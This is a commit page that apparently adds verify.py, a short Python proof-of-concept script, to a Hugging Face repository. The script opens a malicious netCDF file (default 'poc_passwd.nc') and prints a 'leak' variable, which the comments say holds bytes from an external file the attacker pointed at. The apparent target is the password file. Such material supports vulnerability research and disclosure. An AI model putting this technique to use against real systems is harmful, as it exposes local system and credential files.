Upload verify.py with huggingface_hub
Browse files
verify.py
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import sys, netCDF4
|
| 2 |
+
|
| 3 |
+
# Open the malicious .nc the normal way and read the `leak` variable.
|
| 4 |
+
# Its bytes come from the external file the attacker pointed at.
|
| 5 |
+
path = sys.argv[1] if len(sys.argv) > 1 else "poc_passwd.nc"
|
| 6 |
+
ds = netCDF4.Dataset(path, "r")
|
| 7 |
+
raw = ds.variables["leak"][:]
|
| 8 |
+
data = bytes(raw.tobytes())
|
| 9 |
+
print("=== leaked bytes from %s ===" % path)
|
| 10 |
+
print(data.decode("utf-8", "replace"))
|
| 11 |
+
ds.close()
|